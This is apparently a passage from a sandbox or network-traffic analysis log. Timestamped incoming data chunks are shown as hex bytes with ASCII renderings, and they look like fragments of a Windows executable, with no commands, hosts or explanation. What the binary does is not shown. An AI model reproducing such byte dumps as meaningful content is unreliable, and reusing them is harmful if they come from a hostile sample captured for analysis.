83 bc 24 e8 01 00 00 00 4e 8b 5c 37 08 74 23 44 8b 44 24 6c 48 8b 94 24 e8 01 00 00 4c 89 d9 4c 89 5c 24 60 e8 5e 5a f7 ff 4c 8b 5c 24 60 85 c0 74 Data Ascii: $H$EHD$l@AD$DDhEl$DME1E1LLlAgHHtL\|NL7LDD$(D$ A<DHAH9IIH$N\7t#DD$lH$LL\$`^ZL\$`t
2023-01-25 20:04:35 UTC	3916	IN	Data Raw: 00 89 50 08 4c 8b 8c 24 90 00 00 00 41 f6 41 30 80 0f 85 d5 04 00 00 c7 44 24 20 70 00 00 00 44 8b 84 24 c8 00 00 00 89 fa 4c 89 e1 e8 54 76 f9 ff 45 31 c9 41 89 f8 ba 23 00 00 00 c7 44 24 20 00 00 00 00 4c 89 e9 e8 19 6c f8 ff 66 83 7d 34 00 89 84 24 b0 00 00 00 0f 89 26 04 00 00 48 83 7d 10 00 0f 84 dd 03 00 00 c7 44 24 20 00 00 00 00 41 89 f8 ba 87 00 00 00 4c 89 e9 44 8b 8c 24 a0 00 00 00 e8 dc 6b f8 ff 89 84 24 b8 00 00 00 48 8b 84 24 98 00 00 00 bb a9 00 00 00 f6 40 2c 04 0f 85 11 01 00 00 41 89 f9 41 89 f0 ba 81 00 00 00 4c 89 e9 44 8b b4 24 a0 00 00 00 44 89 74 24 20 e8 9e 6b f8 ff 44 89 74 24 20 41 89 f0 4c 89 e9 44 8b 8c 24 ac 00 00 00 ba 80 00 00 00 e8 81 6b f8 ff 48 8b 84 24 98 00 00 00 f6 40 2c 04 75 14 41 b9 fb ff ff ff 49 89 e8 83 ca ff 4c Data Ascii: PL$AA0D$ pD$LTvE1A#D$ Llf}4$&H}D$ ALD$k$H$@,AALD$Dt$ kDt$ ALD$kH$@,uAIL
2023-01-25 20:04:35 UTC	3932	IN	Data Raw: 00 e8 7f 36 f9 ff 45 31 c9 41 89 f0 ba 23 00 00 00 c7 44 24 20 00 00 00 00 4c 89 f1 e8 44 2c f8 ff 44 8b 5f 38 41 f6 47 30 80 89 84 24 b8 00 00 00 44 8b 94 24 80 00 00 00 41 8d 43 01 89 84 24 c0 00 00 00 89 47 38 0f 84 10 67 00 00 49 8b 47 10 48 89 84 24 a8 00 00 00 48 85 c0 0f 84 65 69 00 00 48 8b 94 24 a8 00 00 00 eb 16 66 0f 1f 84 00 00 00 00 00 48 8b 52 28 48 85 d2 0f 84 df c7 02 00 0f b6 42 64 83 e0 03 3c 02 75 e8 0f b7 42 60 03 84 24 c0 00 00 00 48 89 94 24 a8 00 00 00 66 83 7a 5e 00 89 47 38 0f 84 5f 68 00 00 41 8d 43 02 31 f6 4c 89 ac 24 d8 00 00 00 44 8b ac 24 a0 00 00 00 89 84 24 80 00 00 00 48 89 bc 24 b0 00 00 00 48 89 d7 89 9c 24 e0 00 00 00 89 f3 89 c6 0f 1f 40 00 8d 04 1e 41 89 d9 45 89 e8 ba 5e 00 00 00 89 44 24 20 4c 89 f1 83 c3 01 e8 63 Data Ascii: 6E1A#D$ LD,D_8AG0$D$AC$G8gIGH$HeiH$fHR(HBd<uB`$H$fz^G8_hAC1L$D$$H$H$@AE^D$ Lc
2023-01-25 20:04:35 UTC	3948	IN	Data Raw: 84 b3 b6 ff ff 48 89 da 48 8b 5b 40 48 89 f1 e8 c1 0a f7 ff 48 85 db 75 ec e9 9a b6 ff ff 0f 1f 80 00 00 00 00 4c 89 e1 e8 90 85 02 00 48 8b 94 24 20 01 00 00 45 89 e8 25 ff ff ff 3f 4d 8d 64 04 01 4c 89 e1 e8 b3 85 02 00 8b 84 24 28 01 00 00 4c 89 e1 41 c6 04 04 00 e8 c7 cf f5 ff 4c 89 f2 e8 1f f9 f5 ff 66 41 83 4e 12 04 41 88 46 0c e9 44 fe ff ff 4c 89 e2 4c 89 f1 e8 95 4f f6 ff e9 33 b6 ff ff 48 8d 8c 24 10 01 00 00 48 8d 94 24 18 01 00 00 e8 1b 63 f6 ff e9 b8 e9 ff ff 66 0f 1f 44 00 00 f3 0f 6f 85 78 ff ff ff 0f 11 85 18 ff ff ff e9 ff b5 ff ff 0f 1f 40 00 48 0f bf 84 24 a0 00 00 00 e9 6a eb ff ff 66 2e 0f 1f 84 00 00 00 00 00 4d 85 e4 0f 85 4f db ff ff e9 5d db ff ff 66 90 48 8b 55 d8 48 8b 0f 48 85 d2 74 08 e8 6f 07 f7 ff 48 8b 0f 48 8b 55 f0 48 85 Data Ascii: HH[@HHuLH$ E%?MdL$(LALfANAFDLLO3H$H$cfDox@H$jf.MO]fHUHHtoHHUH
2023-01-25 20:04:35 UTC	3964	IN	Data Raw: d2 74 34 48 8b 52 08 48 8b 0a 48 89 f2 80 79 13 00 75 07 48 8b 91 d8 00 00 00 48 89 54 24 28 48 8b 00 49 89 f8 ba 01 00 00 00 48 89 e9 48 89 44 24 20 e8 5e cf f7 ff 48 83 c3 01 41 39 5f 28 7f ab e9 7a f2 ff ff 80 3d 6c 65 06 00 00 74 19 b9 0b 00 00 00 ff 15 cb 65 06 00 48 89 c1 48 85 c0 74 06 ff 15 cd 65 06 00 4d 85 ed 0f 84 2d 2a 00 00 41 80 7d 00 00 74 30 49 8b 07 4c 8d 8c 24 00 01 00 00 41 b8 01 00 00 00 4c 89 ea 48 89 c1 ff 50 38 85 c0 0f 85 c1 2a 00 00 83 bc 24 00 01 00 00 00 0f 84 b3 2a 00 00 48 8b 0d e6 93 3e 00 e8 a1 0e f6 ff 41 80 7d 00 00 0f 85 3c 2f 00 00 48 c7 05 cb 93 3e 00 00 00 00 00 e9 9b f4 ff ff 41 c7 46 38 01 00 00 00 bb 01 00 00 00 4c 8d 05 b6 97 36 00 48 8d 35 e3 a9 37 00 ba 01 00 00 00 48 89 e9 e8 2e ac f7 ff c7 44 24 20 00 00 00 00 Data Ascii: t4HRHHyuHHT$(HIHHD$ ^HA9_(z=leteHHteM-A}t0IL$ALHP8$*H>A}</H>AF8L6H57H.D$
2023-01-25 20:04:35 UTC	3980	IN	Data Raw: 8b 53 08 45 31 c0 89 c7 48 8b 43 30 48 8d 48 08 e8 d0 58 f5 ff 48 8b 48 10 48 85 c9 74 73 48 63 c7 4c 8d 25 30 56 36 00 48 c1 e0 05 48 03 45 20 83 ff 01 4c 8b 28 0f 95 c2 48 8d 05 2e 56 36 00 0f b6 d2 4c 0f 44 e0 8d 54 12 0e 4c 89 6c 24 20 4c 8b 09 48 89 f1 4c 8b 03 e8 c7 a3 f7 ff 85 c0 74 13 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d c3 66 0f 1f 44 00 00 4c 89 6c 24 20 45 31 c9 4d 89 e0 ba 09 00 00 00 48 89 f1 e8 98 a3 f7 ff 85 c0 75 d1 4c 8b 66 10 4d 85 e4 74 6b 48 63 c7 4c 8b 0b 48 89 f1 48 8d 15 8b b7 36 00 48 c1 e0 05 48 03 45 20 4c 8b 00 e8 7b fc ff ff 48 8b 56 10 48 8b 0e 41 89 f8 e8 9c 79 f7 ff 48 8b 1b 45 31 c9 41 89 f8 c7 44 24 20 00 00 00 00 4c 89 e1 ba 9a 00 00 00 e8 7e 6b f7 ff 45 31 c9 49 89 d8 4c 89 e1 89 c2 48 83 c4 38 5b 5e 5f 5d 41 5c 41 5d e9 Data Ascii: SE1HC0HHXHHHtsHcL%0V6HHE L(H.V6LDTLl$ LHLtH8[^_]A\A]fDLl$ E1MHuLfMtkHcLHH6HHE L{HVHAyHE1AD$ L~kE1ILH8[^_]A\A]
2023-01-25 20:04:35 UTC	3996	IN	Data Raw: 0f 1f 44 00 00 48 8b 94 24 90 01 00 00 48 89 d9 41 bd 01 00 00 00 e8 7a 44 f6 ff 4c 89 f1 e8 a2 49 f6 ff 40 88 bb c5 00 00 00 44 89 ea 48 89 d9 e8 40 41 f6 ff 41 89 c4 eb 9f 0f 1f 00 c7 43 50 15 00 00 00 48 89 d9 ba 15 00 00 00 e8 d4 a2 f5 ff 48 8b 4b 18 48 85 c9 74 06 ff 15 e5 e5 05 00 48 8d 05 2a 15 36 00 41 b9 6b 42 02 00 4c 8d 05 5d 29 36 00 b9 15 00 00 00 48 89 44 24 20 48 8d 15 53 29 36 00 41 bc 15 00 00 00 e8 45 ab f7 ff e9 53 ff ff ff 48 8b 50 08 48 89 55 08 48 8b 50 50 48 85 d2 74 12 48 89 d9 48 89 44 24 38 e8 b2 47 f6 ff 48 8b 44 24 38 0f b7 50 36 4c 8b 40 10 66 89 55 36 66 89 55 38 8b 50 30 81 e2 80 02 00 00 09 55 30 31 d2 66 89 50 36 48 c7 40 08 00 00 00 00 f6 40 30 80 74 5d 48 8b 16 48 8b 52 08 48 8b 12 48 83 7a 68 00 74 4c 4d 85 c0 74 54 4c Data Ascii: DH$HAzDLI@DH@AACPHHKHtH*6AkBL])6HD$ HS)6AESHPHUHPPHtHHD$8GHD$8P6L@fU6fU8P0U01fP6H@@0t]HHRHHzhtLMtTL
2023-01-25 20:04:35 UTC	4012	IN	Data Raw: 48 85 c0 74 07 49 8b 4c 24 18 ff d0 4c 89 e1 e8 41 4f f5 ff 48 8b 4e 18 48 83 c3 01 39 5e 10 7f cc e8 2f 4f f5 ff 48 c7 46 18 00 00 00 00 48 8d 5e 58 48 8d be 80 00 00 00 48 8b 13 48 89 e9 48 83 c3 08 e8 dd fa ff ff 48 39 df 75 ec 48 8b 4e 30 48 8d 7e 08 48 83 e7 f8 e8 f7 4e f5 ff 48 89 f1 31 c0 48 8b 56 38 48 c7 86 20 01 00 00 00 00 00 00 48 29 f9 81 c1 28 01 00 00 c1 e9 03 f3 48 ab 48 89 2e 48 89 56 38 48 83 c4 20 5b 5e 5f 5d 41 5c c3 66 90 41 55 41 54 48 83 ec 28 4c 8b 29 49 89 cc e8 1d ff ff ff 49 8b 4c 24 38 e8 c3 36 fb ff 4c 89 e1 e8 9b 4e f5 ff 41 83 6d 50 01 4c 89 e9 e8 6e 38 fb ff 31 c0 48 83 c4 28 41 5c 41 5d c3 0f 1f 00 56 53 48 83 ec 28 48 89 cb 48 8b 89 90 00 00 00 4c 89 c6 49 89 d0 ba 01 00 00 00 e8 80 9b f7 ff 48 8b 8b 90 00 00 00 49 89 f0 Data Ascii: HtIL$LAOHNH9^/OHFH^XHHHHH9uHN0H~HNH1HV8H H)(HH.HV8H [^_]A\fAUATH(L)IIL$86LNAmPLn81H(A\A]VSH(HHLIHI
2023-01-25 20:04:35 UTC	4028	IN	Data Raw: f7 75 c2 4c 8b 44 24 38 45 31 c9 ba 17 00 00 00 4c 89 e1 44 89 5c 24 40 e8 38 34 ff ff 44 8b 5c 24 40 85 c0 89 c6 0f 85 c5 01 00 00 48 8b 4c 24 50 45 31 c0 ba 01 00 00 00 44 89 5c 24 38 e8 32 5c f7 ff c7 44 24 28 00 00 00 00 4c 63 4c 24 38 49 89 e8 48 c7 44 24 20 00 00 00 00 48 8b 4c 24 50 ba 02 00 00 00 e8 8a 1d f8 ff 48 8b 4c 24 50 e8 70 87 fd ff 48 8b 4c 24 50 e8 f6 21 fb ff 48 8b 4c 24 50 ba 02 00 00 00 89 03 e8 75 5c f7 ff 4c 89 f9 e8 bd 0e f5 ff e9 ec fd ff ff 0f 1f 84 00 00 00 00 00 c7 03 07 00 00 00 e9 d9 fd ff ff 4c 89 f9 89 44 24 38 e8 99 0e f5 ff 44 8b 4c 24 38 44 89 0b e9 c0 fd ff ff 48 8b 4c 24 50 31 d2 44 89 4c 24 44 e8 1b 36 f6 ff 48 8b 4c 24 50 31 d2 89 44 24 40 e8 fb 6b f7 ff 44 8b 5c 24 40 48 89 c1 45 85 db 0f 84 a4 00 00 00 49 63 c3 80 Data Ascii: uLD$8E1LD\$@84D\$@HL$PE1D\$82\D$(LcL$8IHD$ HL$PHL$PpHL$P!HL$Pu\LLD$8DL$8DHL$P1DL$D6HL$P1D$@kD\$@HEIc
2023-01-25 20:04:35 UTC	4044	IN	Data Raw: 75 e3 48 8b 77 08 48 39 77 10 7d 26 eb bd 0f 1f 80 00 00 00 00 8b 44 24 5c 83 c0 22 41 39 c4 7f 07 99 41 f7 fc 41 01 c7 48 83 c6 01 48 3b 77 10 7f 71 45 31 c0 49 89 e9 48 89 f2 4c 89 e9 48 c7 44 24 20 00 00 00 00 e8 19 f7 ff ff 85 c0 74 c5 48 8b 6c 24 38 48 8b 94 24 d8 00 00 00 44 89 7d 20 89 02 e9 8e fe ff ff 0f 1f 44 00 00 44 8b 74 24 4c 49 89 e9 48 8b 6c 24 38 45 89 fd 48 8b 84 24 d8 00 00 00 48 83 44 24 30 28 44 89 6d 20 4c 8b 7c 24 40 41 83 c6 01 c7 00 00 00 00 00 e9 aa fe ff ff 41 8b 46 08 e9 1f ff ff ff 66 0f 1f 84 00 00 00 00 00 41 55 41 54 53 48 83 ec 30 bb 01 00 00 00 49 89 cd 49 8b 08 e8 b7 0e f5 ff 4c 89 e9 48 85 c0 48 0f 4f d8 48 89 da e8 f5 b9 f7 ff 49 89 c4 48 85 c0 74 31 e8 58 6f f8 ff 85 c0 75 0a 4c 89 e2 89 d9 e8 1a 76 f8 ff 48 8d 05 53 Data Ascii: uHwH9w}&D$\"A9AAHH;wqE1IHLHD$ tHl$8H$D} DDt$LIHl$8EH$HD$0(Dm L\|$@AAFfAUATSH0IILHHOHIHt1XouLvHS
2023-01-25 20:04:35 UTC	4060	IN	Data Raw: 0f 94 c6 31 d2 e8 e3 c5 00 00 49 8d 95 10 02 00 00 41 89 5d 30 48 8b 84 24 a8 01 00 00 4a 8d 0c f2 49 89 55 38 48 8b 54 24 58 49 89 45 18 48 8b 84 24 c8 00 00 00 41 88 b5 cd 01 00 00 49 89 45 48 0f b6 84 24 b8 00 00 00 41 88 b5 cc 01 00 00 83 f0 01 41 c7 45 60 ff 00 00 00 21 f0 49 89 8d f0 01 00 00 41 88 85 ce 01 00 00 0f b6 84 24 bc 00 00 00 49 c7 85 f8 01 00 00 00 00 10 00 41 88 85 cf 01 00 00 48 8b 44 24 68 49 89 45 50 48 8b 84 24 80 00 00 00 49 89 45 58 48 8b 84 24 98 00 00 00 48 8d 34 80 48 c1 e6 03 49 89 f0 e8 4b c5 00 00 41 89 ad e8 01 00 00 49 8b 95 f0 01 00 00 85 ed 74 3f 8d 4d ff 48 8d 42 08 48 8d 0c 89 48 8d 4c ca 30 90 c6 00 01 48 83 c0 28 c6 40 d9 01 48 c7 40 e0 00 00 00 00 c7 40 dc 00 00 00 00 c7 40 e8 00 00 00 00 48 c7 40 f0 00 00 00 00 48 Data Ascii: 1IA]0H$JIU8HT$XIEH$AIEH$AAE`!IA$IAHD$hIEPH$IEXH$H4HIKAIt?MHBHHL0H(@H@@@H@H
2023-01-25 20:04:35 UTC	4076	IN	Data Raw: 00 00 8b b4 24 08 01 00 00 85 f6 74 30 4c 89 e9 e8 f0 39 fa ff 44 8b 84 24 08 01 00 00 45 85 c0 0f 85 dc fe ff ff 8b 8c 24 e8 01 00 00 85 c9 0f 8f 40 fe ff ff e9 c8 fe ff ff 0f 1f 00 4c 8b 44 24 70 45 31 c9 ba 08 00 00 00 4c 89 f1 48 c7 84 24 50 01 00 00 00 00 00 00 49 8d 7f 01 e8 f3 73 fe ff 48 89 7c 24 78 85 c0 0f 84 66 01 00 00 89 84 24 08 01 00 00 4c 8b 44 24 70 45 31 c9 ba 0f 00 00 00 4c 89 f1 e8 ca 73 fe ff 85 c0 0f 84 ea 03 00 00 89 84 24 08 01 00 00 e9 6e ff ff ff 66 0f 1f 44 00 00 8b 74 24 58 48 8b 94 24 30 01 00 00 48 c7 84 24 50 01 00 00 00 00 00 00 c7 84 24 40 01 00 00 00 00 00 00 83 ee 01 48 63 ce 80 3c 0a 00 0f 88 bd 06 00 00 bd ff ff ff ff 85 f6 0f 8e 50 02 00 00 83 ee 01 48 83 e9 02 48 63 c6 89 f6 48 29 f1 eb 14 0f 1f 80 00 00 00 00 48 83 Data Ascii: $t0L9D$E$@LD$pE1LH$PIsH\|$xf$LD$pE1Ls$nfDt$XH$0H$P$@Hc<PHHcH)H
2023-01-25 20:04:35 UTC	4092	IN	Data Raw: 24 68 48 8b 4c 24 58 89 44 24 20 48 8b 13 e8 52 ee f7 ff 41 89 c0 85 c0 0f 85 8c fe ff ff 48 8b 13 45 31 c9 48 8b 02 48 85 c0 74 52 4c 63 62 08 45 89 c1 49 01 c4 4c 39 e0 73 43 66 2e 0f 1f 84 00 00 00 00 00 41 83 c1 01 0f 1f 40 00 48 83 c0 01 80 78 ff 00 78 f6 0f b6 10 84 d2 74 17 0f 1f 80 00 00 00 00 48 83 c0 01 89 d1 0f b6 10 83 e1 80 08 d1 75 f0 48 83 c0 01 49 39 c4 77 c7 45 85 f6 74 0b 44 3b 4c 24 30 0f 8d 49 ff ff ff 44 89 4c 24 30 e9 3f ff ff ff 0f 1f 44 00 00 4c 8b 73 10 44 8b 63 24 e8 9b af f7 ff 85 c0 0f 85 91 00 00 00 b9 20 00 00 00 89 44 24 54 e8 15 a8 f4 ff 48 85 c0 74 7e 48 8b 94 24 c0 00 00 00 48 c7 40 08 00 00 00 00 48 c7 40 10 00 00 00 00 44 8b 44 24 54 48 c7 40 18 00 00 00 00 48 8b 52 28 4c 89 30 48 89 50 10 48 8b 94 24 c0 00 00 00 44 89 Data Ascii: $hHL$XD$ HRAHE1HHtRLcbEIL9sCf.A@HxxtHuHI9wEtD;L$0IDL$0?DLsDc$ D$THt~H$H@H@DD$TH@HR(L0HPH$D
2023-01-25 20:04:35 UTC	4108	IN	Data Raw: ff ff 85 c0 74 43 48 63 41 3c 48 01 c1 0f b7 41 14 4c 8d 44 01 18 0f b7 41 06 85 c0 74 28 83 e8 01 48 8d 04 80 49 8d 44 c0 28 0f 1f 00 41 f6 40 27 20 74 09 4d 85 c9 74 10 49 83 e9 01 49 83 c0 28 49 39 c0 75 e7 45 31 c0 4c 89 c0 48 83 c4 28 c3 0f 1f 40 00 48 83 ec 28 48 8b 0d 05 72 35 00 45 31 c0 66 81 39 4d 5a 75 0b e8 86 fd ff ff 85 c0 4c 0f 45 c1 4c 89 c0 48 83 c4 28 c3 0f 1f 84 00 00 00 00 00 48 83 ec 28 4c 8b 0d d5 71 35 00 31 c0 66 41 81 39 4d 5a 49 89 c8 75 57 4c 89 c9 e8 50 fd ff ff 85 c0 74 4b 49 63 41 3c 4c 89 c1 4c 29 c9 49 01 c1 41 0f b7 41 14 41 0f b7 51 06 49 8d 44 01 18 85 d2 74 29 83 ea 01 48 8d 14 92 4c 8d 4c d0 28 44 8b 40 0c 4c 89 c2 4c 39 c1 72 08 03 50 08 48 39 d1 72 14 48 83 c0 28 4c 39 c8 75 e3 31 c0 48 83 c4 28 c3 0f 1f 40 00 8b 40 Data Ascii: tCHcA<HALDAt(HID(A@' tMtII(I9uE1LH(@H(Hr5E1f9MZuLELH(H(Lq51fA9MZIuWLPtKIcA<LL)IAAAQIDt)HLL(D@LL9rPH9rH(L9u1H(@@
2023-01-25 20:04:35 UTC	4124	IN	Data Raw: 00 00 00 00 00 c0 3d 80 00 00 00 00 00 20 7c 5b 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 47 80 00 00 00 00 00 e0 7d 80 00 00 00 00 00 00 52 80 00 00 00 00 00 a0 74 80 00 00 00 00 00 00 3f 80 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 c0 3c 80 00 00 00 00 00 00 3f 80 00 00 00 00 00 00 63 80 00 00 00 00 00 00 52 80 00 00 00 00 00 c0 58 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 c0 4b 80 00 00 00 00 00 00 63 80 00 00 00 00 00 00 3f 80 00 00 00 00 00 20 34 80 00 00 00 00 00 20 9e 5f 00 00 00 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = \|[@G}Rt?<?cRXZKc? 4 _
2023-01-25 20:04:35 UTC	4140	IN	Data Raw: ab 01 00 11 ab 16 ab 01 00 20 ab 26 ab 01 00 28 ab 2e ab 01 00 fe ff 01 00 ff ff 01 00 01 00 00 00 fe ff 02 00 ff ff 02 00 01 00 00 00 fe ff 03 00 ff ff 03 00 01 00 00 00 fe ff 04 00 ff ff 04 00 01 00 00 00 fe ff 05 00 ff ff 05 00 01 00 00 00 fe ff 06 00 ff ff 06 00 01 00 00 00 fe ff 07 00 ff ff 07 00 01 00 00 00 fe ff 08 00 ff ff 08 00 01 00 00 00 fe ff 09 00 ff ff 09 00 01 00 00 00 fe ff 0a 00 ff ff 0a 00 01 00 00 00 fe ff 0b 00 ff ff 0b 00 01 00 00 00 fe ff 0c 00 ff ff 0c 00 01 00 00 00 fe ff 0d 00 ff ff 0d 00 01 00 00 00 fe ff 0e 00 ff ff 0e 00 01 00 00 00 fe ff 0f 00 ff ff 0f 00 01 00 00 00 fe ff 10 00 ff ff 10 00 01 00 00 00 61 00 00 00 62 00 00 00 63 00 00 00 64 00 00 00 65 00 00 00 66 00 00 00 67 00 00 00 68 00 00 00 69 00 00 00 6a 00 00 00 6b 00 Data Ascii: &(.abcdefghijk
2023-01-25 20:04:35 UTC	4156	IN	Data Raw: 21 01 00 d3 21 d5 21 02 00 d6 21 f3 21 01 00 00 23 07 23 01 00 0c 23 1f 23 01 00 22 23 28 23 01 00 2b 23 7b 23 01 00 7d 23 9a 23 01 00 b4 23 db 23 01 00 e2 23 26 24 01 00 40 24 4a 24 01 00 9c 24 e9 24 01 00 00 25 b6 25 01 00 b8 25 c0 25 01 00 c2 25 f7 25 01 00 00 26 6e 26 01 00 70 26 67 27 01 00 94 27 bf 27 01 00 00 28 ff 28 01 00 00 2b 2f 2b 01 00 45 2b 46 2b 01 00 4d 2b 73 2b 01 00 76 2b 95 2b 01 00 97 2b ff 2b 01 00 e5 2c ea 2c 01 00 50 2e 51 2e 01 00 80 2e 99 2e 01 00 9b 2e f3 2e 01 00 00 2f d5 2f 01 00 f0 2f fb 2f 01 00 04 30 12 30 0e 00 13 30 20 30 0d 00 36 30 37 30 01 00 3e 30 3f 30 01 00 90 31 91 31 01 00 96 31 9f 31 01 00 c0 31 e3 31 01 00 00 32 1e 32 01 00 2a 32 47 32 01 00 50 32 60 32 10 00 61 32 7f 32 01 00 8a 32 b0 32 01 00 c0 32 ff 33 01 00 Data Ascii: !!!!!####"#(#+#{#}#####&$@$J$$$%%%%%%&n&p&g'''((+/+E+F+M+s+v++++,,P.Q.....////000 06070>0?011111122*2G2P2`2a222223
2023-01-25 20:04:35 UTC	4172	IN	Data Raw: fa 64 e9 47 22 8c fc a8 c4 3f f0 a0 1a 2c 7d 56 d8 90 33 22 ef 4e 49 87 c7 d1 38 d9 c1 a2 ca 8c fe 0b d4 98 36 81 f5 a6 cf de 7a a5 28 8e b7 da 26 bf ad 3f a4 9d 3a 2c e4 92 78 50 0d cc 5f 6a 9b 46 7e 54 62 13 8d f6 c2 b8 d8 90 e8 f7 39 2e 5e af c3 82 f5 80 5d 9f be 93 d0 69 7c 2d d5 6f a9 12 25 cf b3 99 ac c8 3b 7d 18 10 a7 63 9c e8 6e bb 3b db 7b 78 26 cd 09 18 59 6e f4 b7 9a ec 01 9a 4f 83 a8 6e 95 e6 65 e6 ff aa 7e cf bc 21 08 e8 15 ef e6 9b e7 ba d9 36 6f 4a ce 09 9f ea d4 7c b0 29 d6 b2 a4 31 af 23 3f 2a 31 94 a5 c6 30 66 a2 35 c0 bc 4e 74 37 ca 82 fc a6 d0 90 e0 b0 d8 a7 33 15 98 04 f1 4a da ec 41 f7 50 cd 7f 0e f6 91 17 2f d6 4d 76 8d b0 ef 43 4d 4d aa cc 54 04 96 e4 df b5 d1 9e e3 88 6a 4c 1b 1f 2c c1 b8 51 65 46 7f ea 5e 9d 04 35 8c 01 5d 74 87 Data Ascii: dG"?,}V3"NI86z(&?:,xP_jF~Tb9.^]i\|-o%;}cn;{x&YnOne~!6oJ\|)1#?*10f5Nt73JAP/MvCMMTjL,QeF^5]t
2023-01-25 20:04:35 UTC	4188	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c1 c2 c3 00 c4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c5 00 00 00 be 00 00 00 00 00 00 c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 00 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c9 00 Data Ascii:
2023-01-25 20:04:35 UTC	4204	IN	Data Raw: ac 00 00 02 00 05 81 84 84 33 81 a0 b1 00 00 01 00 2e 81 ab ad 00 00 01 00 05 81 93 93 00 00 01 00 03 81 b3 b3 00 00 01 00 05 81 80 80 00 00 05 00 33 81 b0 b0 33 81 b2 b3 2e 81 b4 b4 33 81 b7 b8 33 81 be bf 00 00 02 00 33 81 81 81 05 81 b6 b6 00 00 01 00 05 81 ad ad 00 00 06 00 00 e5 80 80 00 c6 81 9b 00 e5 9c 9c 00 c6 9d b7 00 e5 b8 b8 00 c6 b9 bf 00 00 05 00 00 c6 80 93 00 e5 94 94 00 c6 95 af 00 e5 b0 b0 00 c6 b1 bf 00 00 05 00 00 c6 80 8b 00 e5 8c 8c 00 c6 8d a7 00 e5 a8 a8 00 c6 a9 bf 00 00 07 00 00 c6 80 83 00 e5 84 84 00 c6 85 9f 00 e5 a0 a0 00 c6 a1 bb 00 e5 bc bc 00 c6 bd bf 00 00 05 00 00 c6 80 97 00 e5 98 98 00 c6 99 b3 00 e5 b4 b4 00 c6 b5 bf 00 00 05 00 00 c6 80 8f 00 e5 90 90 00 c6 91 ab 00 e5 ac ac 00 c6 ad bf 00 00 05 00 00 c6 80 87 00 e5 Data Ascii: 3.33.333
2023-01-25 20:04:35 UTC	4220	IN	Data Raw: 7c 8c 18 92 24 10 5a f8 1c 78 02 65 47 44 0b c1 b1 b3 5d 5d 8e b7 1e a9 3b 62 f6 bf 15 65 9c f0 a3 bb 28 6a 71 f1 30 2f c9 07 76 f4 d7 ad 9d 87 34 78 90 04 9e 99 70 db 95 97 c5 11 a6 a3 8a 75 15 43 c7 74 9a 39 32 6f 11 40 4c 6d 53 d0 97 ad 87 c5 9a 53 52 c3 59 89 f2 75 16 1a 1f 24 83 9e 61 f5 78 6d 8c ad f7 ef 63 e5 cf f1 2a 1d 4b c9 e5 12 22 9d 3f 1f b6 37 7b 46 3d 02 7e 6b e9 ee ab ad 76 ab fa d1 62 6b 92 d9 5d f9 cf 76 db 72 21 a6 78 a2 3a 67 c8 c8 19 e5 ab 82 99 7e 85 f5 f1 8d 11 c2 34 80 6c 13 40 b6 76 73 fa 2f de 9a a2 4c d0 a7 98 7e e7 77 4d b0 14 9f 6d a1 47 ed 8b 04 ad 3d 4b 31 32 1d 93 e4 e5 9e 4c 0a 3d f3 43 a5 eb f4 ba 26 d9 73 73 a0 af 3a 79 32 9a b3 e6 0f a6 6e 98 e6 61 63 66 4f 34 1f e3 cb 49 c0 44 dc be 1c f2 03 54 5e eb a0 52 f7 c4 20 05 Data Ascii: \|$ZxeGD]];be(jq0/v4xpuCt92o@LmSSRYu$axmc*K"?7{F=~kvbk]vr!x:g~4l@vs/L~wMmG=K12L=C&ss:y2nacfO4IDT^R
2023-01-25 20:04:35 UTC	4236	IN	Data Raw: 9e f5 0e 9f 9f 18 00 a0 bf 00 00 03 00 18 00 80 b2 15 0f b3 b3 40 00 b4 bf 20 00 01 00 35 0f 80 bf 20 00 02 00 35 17 80 8f 15 19 90 bf 20 00 01 00 15 1f 80 bf 00 00 02 00 40 00 80 80 08 00 81 bf 00 00 09 00 08 00 80 96 40 00 97 98 08 33 99 9a e2 29 9b 9b 0a 2a 9c 9c 08 00 9d 9e 31 2a 9f 9f 18 00 a0 a0 08 00 a1 bf 00 00 02 00 08 00 80 be 69 2a bf bf 00 00 0e 00 40 00 80 84 08 00 85 af 40 00 b0 b0 35 2a b1 b1 55 2a b2 b2 75 2a b3 b3 95 2a b4 b4 75 2a b5 b5 b5 2a b6 b6 d5 2a b7 b7 f5 2a b8 b9 15 2b ba bb 35 2b bc bd 15 2b be bf 00 00 03 00 18 00 80 a3 40 00 a4 af 08 00 b0 bf 30 00 04 00 a2 2a 80 9d 5a 30 9e 9e 40 00 9f 9f a2 30 a0 bf 00 00 02 00 08 00 80 bc 40 00 bd bf 00 00 03 00 08 00 80 8c 40 00 8d 8f 18 00 90 bf 00 00 04 00 18 00 80 86 40 00 87 8f 08 00 Data Ascii: @ 5 5 @@3)1i@@5Uuu**+5++@0Z0@0@@@
